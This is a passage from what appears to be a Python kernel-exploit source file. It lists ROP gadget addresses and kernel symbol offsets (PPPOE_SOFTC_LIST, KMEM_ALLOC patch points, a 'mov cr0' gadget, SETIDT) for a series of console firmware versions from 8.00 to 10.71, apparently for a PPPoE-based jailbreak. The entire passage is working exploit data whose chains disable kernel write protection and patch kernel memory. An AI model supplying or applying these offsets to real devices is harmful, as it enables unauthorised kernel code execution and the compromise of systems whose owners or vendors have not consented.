: jmp qword ptr [rsi + 0x3b] 26 | FIRST_GADGET = 0xffffffff824095e7 27 | 28 | # 0xffffffff82c90516 : push rbp ; jmp qword ptr [rsi] 29 | PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c90516 30 | 31 | # 0xffffffff82565e21 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 32 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff82565e21 33 | 34 | # 0xffffffff82949bc6 : lea rsp, [rsi + 0x20] ; repz ret 35 | LEA_RSP_RSI_20_REPZ_RET = 0xffffffff82949bc6 36 | 37 | # 0xffffffff826d62fa : add rsp, 0x28 ; pop rbp ; ret 38 | ADD_RSP_28_POP_RBP_RET = 0xffffffff826d62fa 39 | 40 | # 0xffffffff82599199 : add rsp, 0xb0 ; pop rbp ; ret 41 | ADD_RSP_B0_POP_RBP_RET = 0xffffffff82599199 42 | 43 | # 0xffffffff822008f3 : ret 44 | RET = 0xffffffff822008f3 45 | 46 | # 0xffffffff8228c0fc : pop rdi ; ret 47 | POP_RDI_RET = 0xffffffff8228c0fc 48 | 49 | # 0xffffffff82257b77 : pop rsi ; ret 50 | POP_RSI_RET = 0xffffffff82257b77 51 | 52 | # 0xffffffff822f2f1a : pop rdx ; ret 53 | POP_RDX_RET = 0xffffffff822f2f1a 54 | 55 | # 0xffffffff8231312c : pop rcx ; ret 56 | POP_RCX_RET = 0xffffffff8231312c 57 | 58 | # 0xffffffff82227fa7 : pop r8 ; pop rbp ; ret 59 | POP_R8_POP_RBP_RET = 0xffffffff82227fa7 60 | 61 | # 0xffffffff827dc32f : pop r12 ; ret 62 | POP_R12_RET = 0xffffffff827dc32f 63 | 64 | # 0xffffffff8231a01e : pop rax ; ret 65 | POP_RAX_RET = 0xffffffff8231a01e 66 | 67 | # 0xffffffff822008f2 : pop rbp ; ret 68 | POP_RBP_RET = 0xffffffff822008f2 69 | 70 | # 0xffffffff82bd096a : push rsp ; pop rsi ; ret 71 | PUSH_RSP_POP_RSI_RET = 0xffffffff82bd096a 72 | 73 | # 0xffffffff82447f40 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 74 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82447f40 75 | 76 | # 0xffffffff82b8e5ae : mov byte ptr [rcx], al ; ret 77 | MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff82b8e5ae 78 | 79 | # 0xffffffff8246ce59 : mov rdi, rbx ; call r12 80 | MOV_RDI_RBX_CALL_R12 = 0xffffffff8246ce59 81 | 82 | # 0xffffffff8246cc67 : mov rdi, r14 ; call r12 83 | MOV_RDI_R14_CALL_R12 = 0xffffffff8246cc67 84 | 85 | # 0xffffffff824cd8c1 : mov rsi, rbx ; call rax 86 | MOV_RSI_RBX_CALL_RAX = 0xffffffff824cd8c1 87 | 88 | # 0xffffffff824bdaa8 : mov r14, rax ; call r8 89 | MOV_R14_RAX_CALL_R8 = 0xffffffff824bdaa8 90 | 91 | # 0xffffffff82cd070a : add rdi, rcx ; ret 92 | ADD_RDI_RCX_RET = 0xffffffff82cd070a 93 | 94 | # 0xffffffff8235a377 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 95 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff8235a377 96 | 97 | # 0xffffffff8253f959 : jmp r14 98 | JMP_R14 = 0xffffffff8253f959 99 | 100 | # FW 8.00 / 8.01 / 8.03 101 | class OffsetsFirmware_800_803: 102 | PPPOE_SOFTC_LIST = 0xffffffff84422370 103 | 104 | KERNEL_MAP = 0xffffffff83d243e0 105 | 106 | SETIDT = 0xffffffff82249dd0 107 | 108 | KMEM_ALLOC = 0xffffffff8221b3f0 109 | KMEM_ALLOC_PATCH1 = 0xffffffff8221b4bc 110 | KMEM_ALLOC_PATCH2 = 0xffffffff8221b4c4 111 | 112 | MEMCPY = 0xffffffff8245e1c0 113 | 114 | # 0xffffffff82660609 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret 115 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff82660609 116 | 117 | SECOND_GADGET_OFF = 0x3b 118 | 119 | # 0xffffffff82245f1d : jmp qword ptr [rsi + 0x3b] 120 | FIRST_GADGET = 0xffffffff82245f1d 121 | 122 | # 0xffffffff82c72e66 : push rbp ; jmp qword ptr [rsi] 123 | PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c72e66 124 | 125 | # 0xffffffff823b3311 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 126 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff823b3311 127 | 128 | # 0xffffffff8293bb06 : lea rsp, [rsi + 0x20] ; repz ret 129 | LEA_RSP_RSI_20_REPZ_RET = 0xffffffff8293bb06 130 | 131 | # 0xffffffff826aeada : add rsp, 0x28 ; pop rbp ; ret 132 | ADD_RSP_28_POP_RBP_RET = 0xffffffff826aeada 133 | 134 | # 0xffffffff8267b46f : add rsp, 0xb0 ; pop rbp ; ret 135 | ADD_RSP_B0_POP_RBP_RET = 0xffffffff8267b46f 136 | 137 | # 0xffffffff822008e0 : ret 138 | RET = 0xffffffff822008e0 139 | 140 | # 0xffffffff82652d81 : pop rdi ; ret 141 | POP_RDI_RET = 0xffffffff82652d81 142 | 143 | # 0xffffffff82212728 : pop rsi ; ret 144 | POP_RSI_RET = 0xffffffff82212728 145 | 146 | # 0xffffffff82482342 : pop rdx ; ret 147 | POP_RDX_RET = 0xffffffff82482342 148 | 149 | # 0xffffffff82233677 : pop rcx ; ret 150 | POP_RCX_RET = 0xffffffff82233677 151 | 152 | # 0xffffffff823ac6ed : pop r8 ; pop rbp ; ret 153 | POP_R8_POP_RBP_RET = 0xffffffff823ac6ed 154 | 155 | # 0xffffffff8279b42f : pop r12 ; ret 156 | POP_R12_RET = 0xffffffff8279b42f 157 | 158 | # 0xffffffff8223711d : pop rax ; ret 159 | POP_RAX_RET = 0xffffffff8223711d 160 | 161 | # 0xffffffff822008df : pop rbp ; ret 162 | POP_RBP_RET = 0xffffffff822008df 163 | 164 | # 0xffffffff82bb35ba : push rsp ; pop rsi ; ret 165 | PUSH_RSP_POP_RSI_RET = 0xffffffff82bb35ba 166 | 167 | # 0xffffffff82529060 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 168 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82529060 169 | 170 | # 0xffffffff82b7124e : mov byte ptr [rcx], al ; ret 171 | MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff82b7124e 172 | 173 | # 0xffffffff8232e9ac : mov rdi, rbx ; call r12 174 | MOV_RDI_RBX_CALL_R12 = 0xffffffff8232e9ac 175 | 176 | # 0xffffffff8232e7e7 : mov rdi, r14 ; call r12 177 | MOV_RDI_R14_CALL_R12 = 0xffffffff8232e7e7 178 | 179 | # 0xffffffff823d049e : mov rsi, rbx ; call rax 180 | MOV_RSI_RBX_CALL_RAX = 0xffffffff823d049e 181 | 182 | # 0xffffffff825dc638 : mov r14, rax ; call r8 183 | MOV_R14_RAX_CALL_R8 = 0xffffffff825dc638 184 | 185 | # 0xffffffff82cb305a : add rdi, rcx ; ret 186 | ADD_RDI_RCX_RET = 0xffffffff82cb305a 187 | 188 | # 0xffffffff8266f467 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 189 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff8266f467 190 | 191 | # 0xffffffff82b82393 : jmp r14 192 | JMP_R14 = 0xffffffff82b82393 193 | 194 | # FW 8.50 / 8.52 195 | class OffsetsFirmware_850_852: 196 | PPPOE_SOFTC_LIST = 0xffffffff83dd6018 197 | 198 | KERNEL_MAP = 0xffffffff83e64228 199 | 200 | SETIDT = 0xffffffff82467340 201 | 202 | KMEM_ALLOC = 0xffffffff824199a0 203 | KMEM_ALLOC_PATCH1 = 0xffffffff82419a6c 204 | KMEM_ALLOC_PATCH2 = 0xffffffff82419a74 205 | 206 | MEMCPY = 0xffffffff825a40f0 207 | 208 | # 0xffffffff823ce849 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret 209 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff823ce849 210 | 211 | SECOND_GADGET_OFF = 0x3b 212 | 213 | # 0xffffffff8237e09d : jmp qword ptr [rsi + 0x3b] 214 | FIRST_GADGET = 0xffffffff8237e09d 215 | 216 | # 0xffffffff82c766e6 : push rbp ; jmp qword ptr [rsi] 217 | PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c766e6 218 | 219 | # 0xffffffff822a3a31 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 220 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff822a3a31 221 | 222 | # 0xffffffff829261c6 : lea rsp, [rsi + 0x20] ; repz ret 223 | LEA_RSP_RSI_20_REPZ_RET = 0xffffffff829261c6 224 | 225 | # 0xffffffff826d2a8a : add rsp, 0x28 ; pop rbp ; ret 226 | ADD_RSP_28_POP_RBP_RET = 0xffffffff826d2a8a 227 | 228 | # 0xffffffff82439c6f : add rsp, 0xb0 ; pop rbp ; ret 229 | ADD_RSP_B0_POP_RBP_RET = 0xffffffff82439c6f 230 | 231 | # 0xffffffff822008e0 : ret 232 | RET = 0xffffffff822008e0 233 | 234 | # 0xffffffff825dc87d : pop rdi ; ret 235 | POP_RDI_RET = 0xffffffff825dc87d 236 | 237 | # 0xffffffff823882c9 : pop rsi ; ret 238 | POP_RSI_RET = 0xffffffff823882c9 239 | 240 | # 0xffffffff8232eec2 : pop rdx ; ret 241 | POP_RDX_RET = 0xffffffff8232eec2 242 | 243 | # 0xffffffff82246d0c : pop rcx ; ret 244 | POP_RCX_RET = 0xffffffff82246d0c 245 | 246 | # 0xffffffff8237cd26 : pop r8 ; pop rbp ; ret 247 | POP_R8_POP_RBP_RET = 0xffffffff8237cd26 248 | 249 | # 0xffffffff827a366f : pop r12 ; ret 250 | POP_R12_RET = 0xffffffff827a366f 251 | 252 | # 0xffffffff82202d74 : pop rax ; ret 253 | POP_RAX_RET = 0xffffffff82202d74 254 | 255 | # 0xffffffff822008df : pop rbp ; ret 256 | POP_RBP_RET = 0xffffffff822008df 257 | 258 | # 0xffffffff82bb5866 : push rsp ; pop rsi ; ret 259 | PUSH_RSP_POP_RSI_RET = 0xffffffff82bb5866 260 | 261 | # 0xffffffff82444180 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 262 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82444180 263 | 264 | # 0xffffffff82b73476 : mov byte ptr [rcx], al ; ret 265 | MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff82b73476 266 | 267 | # 0xffffffff8220fbbc : mov rdi, rbx ; call r12 268 | MOV_RDI_RBX_CALL_R12 = 0xffffffff8220fbbc 269 | 270 | # 0xffffffff8220f9f7 : mov rdi, r14 ; call r12 271 | MOV_RDI_R14_CALL_R12 = 0xffffffff8220f9f7 272 | 273 | # 0xffffffff8253628e : mov rsi, rbx ; call rax 274 | MOV_RSI_RBX_CALL_RAX = 0xffffffff8253628e 275 | 276 | # 0xffffffff825bb768 : mov r14, rax ; call r8 277 | MOV_R14_RAX_CALL_R8 = 0xffffffff825bb768 278 | 279 | # 0xffffffff82cb68da : add rdi, rcx ; ret 280 | ADD_RDI_RCX_RET = 0xffffffff82cb68da 281 | 282 | # 0xffffffff82346e67 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 283 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff82346e67 284 | 285 | # 0xffffffff82b845c7 : jmp r14 286 | JMP_R14 = 0xffffffff82b845c7 287 | 288 | # FW 9.00 289 | class OffsetsFirmware_900: 290 | PPPOE_SOFTC_LIST = 0xffffffff843ed9f8 291 | 292 | KERNEL_MAP = 0xffffffff84468d48 293 | 294 | SETIDT = 0xffffffff82512c40 295 | 296 | KMEM_ALLOC = 0xffffffff8257be70 297 | KMEM_ALLOC_PATCH1 = 0xffffffff8257bf3c 298 | KMEM_ALLOC_PATCH2 = 0xffffffff8257bf44 299 | 300 | MEMCPY = 0xffffffff824714b0 301 | 302 | # 0xffffffff823fb949 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret 303 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff823fb949 304 | 305 | SECOND_GADGET_OFF = 0x3d 306 | 307 | # 0xffffffff82996603 : jmp qword ptr [rsi + 0x3d] 308 | FIRST_GADGET = 0xffffffff82996603 309 | 310 | # 0xffffffff82c76646 : push rbp ; jmp qword ptr [rsi] 311 | PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c76646 312 | 313 | # 0xffffffff822b4151 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 314 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff822b4151 315 | 316 | # 0xffffffff82941e46 : lea rsp, [rsi + 0x20] ; repz ret 317 | LEA_RSP_RSI_20_REPZ_RET = 0xffffffff82941e46 318 | 319 | # 0xffffffff826c52aa : add rsp, 0x28 ; pop rbp ; ret 320 | ADD_RSP_28_POP_RBP_RET = 0xffffffff826c52aa 321 | 322 | # 0xffffffff8251b08f : add rsp, 0xb0 ; pop rbp ; ret 323 | ADD_RSP_B0_POP_RBP_RET = 0xffffffff8251b08f 324 | 325 | # 0xffffffff822008e0 : ret 326 | RET = 0xffffffff822008e0 327 | 328 | # 0xffffffff822391a8 : pop rdi ; ret 329 | POP_RDI_RET = 0xffffffff822391a8 330 | 331 | # 0xffffffff822aad39 : pop rsi ; ret 332 | POP_RSI_RET = 0xffffffff822aad39 333 | 334 | # 0xffffffff82322eba : pop rdx ; ret 335 | POP_RDX_RET = 0xffffffff82322eba 336 | 337 | # 0xffffffff822445e7 : pop rcx ; ret 338 | POP_RCX_RET = 0xffffffff822445e7 339 | 340 | # 0xffffffff822ab4dd : pop r8 ; pop rbp ; ret 341 | POP_R8_POP_RBP_RET = 0xffffffff822ab4dd 342 | 343 | # 0xffffffff8279fa0f : pop r12 ; ret 344 | POP_R12_RET = 0xffffffff8279fa0f 345 | 346 | # 0xffffffff82234ec8 : pop rax ; ret 347 | POP_RAX_RET = 0xffffffff82234ec8 348 | 349 | # 0xffffffff822008df : pop rbp ; ret 350 | POP_RBP_RET = 0xffffffff822008df 351 | 352 | # 0xffffffff82bb687a : push rsp ; pop rsi ; ret 353 | PUSH_RSP_POP_RSI_RET = 0xffffffff82bb687a 354 | 355 | # 0xffffffff82244ed0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 356 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82244ed0 357 | 358 | # 0xffffffff82b7450e : mov byte ptr [rcx], al ; ret 359 | MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff82b7450e 360 | 361 | # 0xffffffff82632b9c : mov rdi, rbx ; call r12 362 | MOV_RDI_RBX_CALL_R12 = 0xffffffff82632b9c 363 | 364 | # 0xffffffff8235b387 : mov rdi, r14 ; call r12 365 | MOV_RDI_R14_CALL_R12 = 0xffffffff8235b387 366 | 367 | # 0xffffffff822e3d7e : mov rsi, rbx ; call rax 368 | MOV_RSI_RBX_CALL_RAX = 0xffffffff822e3d7e 369 | 370 | # 0xffffffff82363918 : mov r14, rax ; call r8 371 | MOV_R14_RAX_CALL_R8 = 0xffffffff82363918 372 | 373 | # 0xffffffff82cb683a : add rdi, rcx ; ret 374 | ADD_RDI_RCX_RET = 0xffffffff82cb683a 375 | 376 | # 0xffffffff82409557 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 377 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff82409557 378 | 379 | # 0xffffffff82b85693 : jmp r14 380 | JMP_R14 = 0xffffffff82b85693 381 | 382 | # FW 9.03 / 9.04 383 | class OffsetsFirmware_903_904: 384 | PPPOE_SOFTC_LIST = 0xffffffff843e99f8 385 | 386 | KERNEL_MAP = 0xffffffff84464d48 387 | SETIDT = 0xffffffff825128e0 388 | 389 | KMEM_ALLOC = 0xffffffff8257a070 390 | KMEM_ALLOC_PATCH1 = 0xffffffff8257a13c 391 | KMEM_ALLOC_PATCH2 = 0xffffffff8257a144 392 | 393 | MEMCPY = 0xffffffff82471130 394 | 395 | # 0xffffffff823fb679 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret 396 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff823fb679 397 | 398 | SECOND_GADGET_OFF = 0x3d 399 | 400 | # 0xffffffff829e686f : jmp qword ptr [rsi + 0x3d] 401 | FIRST_GADGET = 0xffffffff829e686f 402 | 403 | # 0xffffffff82c74566 : push rbp ; jmp qword ptr [rsi] 404 | PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c74566 405 | 406 | # 0xffffffff822b4151 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 407 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff822b4151 408 | 409 | # 0xffffffff8293fe06 : lea rsp, [rsi + 0x20] ; repz ret 410 | LEA_RSP_RSI_20_REPZ_RET = 0xffffffff8293fe06 411 | 412 | # 0xffffffff826c31aa : add rsp, 0x28 ; pop rbp ; ret 413 | ADD_RSP_28_POP_RBP_RET = 0xffffffff826c31aa 414 | 415 | # 0xffffffff8251ad2f : add rsp, 0xb0 ; pop rbp ; ret 416 | ADD_RSP_B0_POP_RBP_RET = 0xffffffff8251ad2f 417 | 418 | # 0xffffffff822008e0 : ret 419 | RET = 0xffffffff822008e0 420 | 421 | # 0xffffffff8238e75d : pop rdi ; ret 422 | POP_RDI_RET = 0xffffffff8238e75d 423 | 424 | # 0xffffffff822aad39 : pop rsi ; ret 425 | POP_RSI_RET = 0xffffffff822aad39 426 | 427 | # 0xffffffff8244cc56 : pop rdx ; ret 428 | POP_RDX_RET = 0xffffffff8244cc56 429 | 430 | # 0xffffffff822445e7 : pop rcx ; ret 431 | POP_RCX_RET = 0xffffffff822445e7 432 | 433 | # 0xffffffff822ab4dd : pop r8 ; pop rbp ; ret 434 | POP_R8_POP_RBP_RET = 0xffffffff822ab4dd 435 | 436 | # 0xffffffff8279d9cf : pop r12 ; ret 437 | POP_R12_RET = 0xffffffff8279d9cf 438 | 439 | # 0xffffffff82234ec8 : pop rax ; ret 440 | POP_RAX_RET = 0xffffffff82234ec8 441 | 442 | # 0xffffffff822008df : pop rbp ; ret 443 | POP_RBP_RET = 0xffffffff822008df 444 | 445 | # 0xffffffff82bb479a : push rsp ; pop rsi ; ret 446 | PUSH_RSP_POP_RSI_RET = 0xffffffff82bb479a 447 | 448 | # 0xffffffff82244ed0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 449 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82244ed0 450 | 451 | # 0xffffffff825386d8 : mov byte ptr [rcx], al ; ret 452 | MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff825386d8 453 | 454 | # 0xffffffff82630b0c : mov rdi, rbx ; call r12 455 | MOV_RDI_RBX_CALL_R12 = 0xffffffff82630b0c 456 | 457 | # 0xffffffff8235b337 : mov rdi, r14 ; call r12 458 | MOV_RDI_R14_CALL_R12 = 0xffffffff8235b337 459 | 460 | # 0xffffffff822e3d2e : mov rsi, rbx ; call rax 461 | MOV_RSI_RBX_CALL_RAX = 0xffffffff822e3d2e 462 | 463 | # 0xffffffff823638c8 : mov r14, rax ; call r8 464 | MOV_R14_RAX_CALL_R8 = 0xffffffff823638c8 465 | 466 | # 0xffffffff82cb475a : add rdi, rcx ; ret 467 | ADD_RDI_RCX_RET = 0xffffffff82cb475a 468 | 469 | # 0xffffffff82409287 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 470 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff82409287 471 | 472 | # 0xffffffff82b835b3 : jmp r14 473 | JMP_R14 = 0xffffffff82b835b3 474 | 475 | # FW 9.50 / 9.51 / 9.60 476 | class OffsetsFirmware_950_960: 477 | PPPOE_SOFTC_LIST = 0xffffffff8434c0a8 478 | 479 | KERNEL_MAP = 0xffffffff84347830 480 | 481 | SETIDT = 0xffffffff8254d320 482 | 483 | KMEM_ALLOC = 0xffffffff823889d0 484 | KMEM_ALLOC_PATCH1 = 0xffffffff82388a9c 485 | KMEM_ALLOC_PATCH2 = 0xffffffff82388aa4 486 | 487 | MEMCPY = 0xffffffff82401cc0 488 | 489 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff822bea79 490 | 491 | SECOND_GADGET_OFF = 0x3b 492 | 493 | # 0xffffffff822c53cd : jmp qword ptr [rsi + 0x3b] 494 | FIRST_GADGET = 0xffffffff822c53cd 495 | 496 | # 0xffffffff82c6ec06 : push rbp ; jmp qword ptr [rsi] 497 | PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c6ec06 498 | 499 | # 0xffffffff822bf041 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 500 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff822bf041 501 | 502 | # 0xffffffff82935fc6 : lea rsp, [rsi + 0x20] ; repz ret 503 | LEA_RSP_RSI_20_REPZ_RET = 0xffffffff82935fc6 504 | 505 | # 0xffffffff826adfda : add rsp, 0x28 ; pop rbp ; ret 506 | ADD_RSP_28_POP_RBP_RET = 0xffffffff826adfda 507 | 508 | # 0xffffffff82584c1f : add rsp, 0xb0 ; pop rbp ; ret 509 | ADD_RSP_B0_POP_RBP_RET = 0xffffffff82584c1f 510 | 511 | # 0xffffffff822008e0 : ret 512 | RET = 0xffffffff822008e0 513 | 514 | # 0xffffffff82315161 : pop rdi ; ret 515 | POP_RDI_RET = 0xffffffff82315161 516 | 517 | # 0xffffffff822dd859 : pop rsi ; ret 518 | POP_RSI_RET = 0xffffffff822dd859 519 | 520 | # 0xffffffff822cad55 : pop rdx ; ret 521 | POP_RDX_RET = 0xffffffff822cad55 522 | 523 | # 0xffffffff8222d707 : pop rcx ; ret 524 | POP_RCX_RET = 0xffffffff8222d707 525 | 526 | # 0xffffffff8220fec7 : pop r8 ; pop rbp ; ret 527 | POP_R8_POP_RBP_RET = 0xffffffff8220fec7 528 | 529 | # 0xffffffff8279f14f : pop r12 ; ret 530 | POP_R12_RET = 0xffffffff8279f14f 531 | 532 | # 0xffffffff8223a7fe : pop rax ; ret 533 | POP_RAX_RET = 0xffffffff8223a7fe 534 | 535 | # 0xffffffff822008df : pop rbp ; ret 536 | POP_RBP_RET = 0xffffffff822008df 537 | 538 | # 0xffffffff82bad912 : push rsp ; pop rsi ; ret 539 | PUSH_RSP_POP_RSI_RET = 0xffffffff82bad912 540 | 541 | # 0xffffffff8235fea0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 542 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff8235fea0 543 | 544 | # 0xffffffff824f2458 : mov byte ptr [rcx], al ; ret 545 | MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff824f2458 546 | 547 | # 0xffffffff822524dc : mov rdi, rbx ; call r12 548 | MOV_RDI_RBX_CALL_R12 = 0xffffffff822524dc 549 | 550 | # 0xffffffff82252317 : mov rdi, r14 ; call r12 551 | MOV_RDI_R14_CALL_R12 = 0xffffffff82252317 552 | 553 | # 0xffffffff824a07ae : mov rsi, rbx ; call rax 554 | MOV_RSI_RBX_CALL_RAX = 0xffffffff824a07ae 555 | 556 | # 0xffffffff82567228 : mov r14, rax ; call r8 557 | MOV_R14_RAX_CALL_R8 = 0xffffffff82567228 558 | 559 | # 0xffffffff82caedfa : add rdi, rcx ; ret 560 | ADD_RDI_RCX_RET = 0xffffffff82caedfa 561 | 562 | # 0xffffffff82333437 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 563 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff82333437 564 | 565 | # 0xffffffff82b7c6e7 : jmp r14 566 | JMP_R14 = 0xffffffff82b7c6e7 567 | 568 | # FW 10.00 / 10.01 569 | class OffsetsFirmware_1000_1001: 570 | PPPOE_SOFTC_LIST = 0xffffffff8446d920 571 | 572 | KERNEL_MAP = 0xffffffff8447bef8 573 | 574 | SETIDT = 0xffffffff8227b460 575 | 576 | KMEM_ALLOC = 0xffffffff8253b040 577 | KMEM_ALLOC_PATCH1 = 0xffffffff8253b10c 578 | KMEM_ALLOC_PATCH2 = 0xffffffff8253b114 579 | 580 | MEMCPY = 0xffffffff82672d20 581 | 582 | # 0xffffffff82376089 : mov cr0 rsi ; ud2 ; mov eax 1; ret 583 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff82376089 584 | 585 | SECOND_GADGET_OFF = 0x3b 586 | 587 | # 0xffffffff82249c5d : jmp qword ptr [rsi + 0x3b] 588 | FIRST_GADGET = 0xffffffff82249c5d 589 | 590 | # 0xffffffff82c73946 : push rbp ; jmp qword ptr [rsi] 591 | PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c73946 592 | 593 | # 0xffffffff82545741 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 594 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff82545741 595 | 596 | # 0xffffffff8292b346 : lea rsp, [rsi + 0x20] ; repz ret 597 | LEA_RSP_RSI_20_REPZ_RET = 0xffffffff8292b346 598 | 599 | # 0xffffffff826d0d0a : add rsp, 0x28 ; pop rbp ; ret 600 | ADD_RSP_28_POP_RBP_RET = 0xffffffff826d0d0a 601 | 602 | # 0xffffffff82531c3f : add rsp, 0xb0 ; pop rbp ; ret 603 | ADD_RSP_B0_POP_RBP_RET = 0xffffffff82531c3f 604 | 605 | # 0xffffffff822008e0 : ret 606 | RET = 0xffffffff822008e0 607 | 608 | # 0xffffffff82510c4e : pop rdi ; ret 609 | POP_RDI_RET = 0xffffffff82510c4e 610 | 611 | # 0xffffffff822983e0 : pop rsi ; ret 612 | POP_RSI_RET = 0xffffffff822983e0 613 | 614 | # 0xffffffff824029b2 : pop rdx ; ret 615 | POP_RDX_RET = 0xffffffff824029b2 616 | 617 | # 0xffffffff822983ba : pop rcx ; ret 618 | POP_RCX_RET = 0xffffffff822983ba 619 | 620 | # 0xffffffff8237dd7d : pop r8 ; pop rbp ; ret 621 | POP_R8_POP_RBP_RET = 0xffffffff8237dd7d 622 | 623 | # 0xffffffff827b32ef : pop r12 ; ret 624 | POP_R12_RET = 0xffffffff827b32ef 625 | 626 | # 0xffffffff8229974f : pop rax ; ret 627 | POP_RAX_RET = 0xffffffff8229974f 628 | 629 | # 0xffffffff822008df : pop rbp ; ret 630 | POP_RBP_RET = 0xffffffff822008df 631 | 632 | # 0xffffffff82bb3ee6 : push rsp ; pop rsi ; ret 633 | PUSH_RSP_POP_RSI_RET = 0xffffffff82bb3ee6 634 | 635 | # 0xffffffff8256bfb0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 636 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff8256bfb0 637 | 638 | # 0xffffffff824f0448 : mov byte ptr [rcx], al ; ret 639 | MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff824f0448 640 | 641 | # 0xffffffff8236bbec : mov rdi, rbx ; call r12 642 | MOV_RDI_RBX_CALL_R12 = 0xffffffff8236bbec 643 | 644 | # 0xffffffff8236ba27 : mov rdi, r14 ; call r12 645 | MOV_RDI_R14_CALL_R12 = 0xffffffff8236ba27 646 | 647 | # 0xffffffff823f501e : mov rsi, rbx ; call rax 648 | MOV_RSI_RBX_CALL_RAX = 0xffffffff823f501e 649 | 650 | # 0xffffffff8259e638 : mov r14, rax ; call r8 651 | MOV_R14_RAX_CALL_R8 = 0xffffffff8259e638 652 | 653 | # 0xffffffff82cb3b3a : add rdi, rcx ; ret 654 | ADD_RDI_RCX_RET = 0xffffffff82cb3b3a 655 | 656 | # 0xffffffff822bfa87 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 657 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff822bfa87 658 | 659 | # 0xffffffff8280346f : jmp r14 660 | JMP_R14 = 0xffffffff8280346f 661 | 662 | # FW 10.50 / 10.70 / 10.71 663 | class OffsetsFirmware_1050_1071: 664 | PPPOE_SOFTC_LIST = 0xffffffff844514b8 665 | 666 | KERNEL_MAP = 0xffffffff844a9250 667 | 668 | SETIDT = 0xffffffff82341470 669 | 670 | KMEM_ALLOC = 0xffffffff82628960 671 | KMEM_ALLOC_PATCH1 = 0xffffffff82628a2c 672 | KMEM_ALLOC_PATCH2 = 0xffffffff82628a34 673 | 674 | MEMCPY = 0xffffffff822d7370 675 | 676 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff82285f39 677 | 678 | SECOND_GADGET_OFF = 0x3b 679 | 680 | # 0xffffffff8221cb8d : jmp qword ptr [rsi + 0x3b] 681 | FIRST_GADGET = 0xffffffff8221cb8d 682 | 683 | # 0xffffffff82c74cd6 : push rbp ; jmp qword ptr [rsi] 684 | 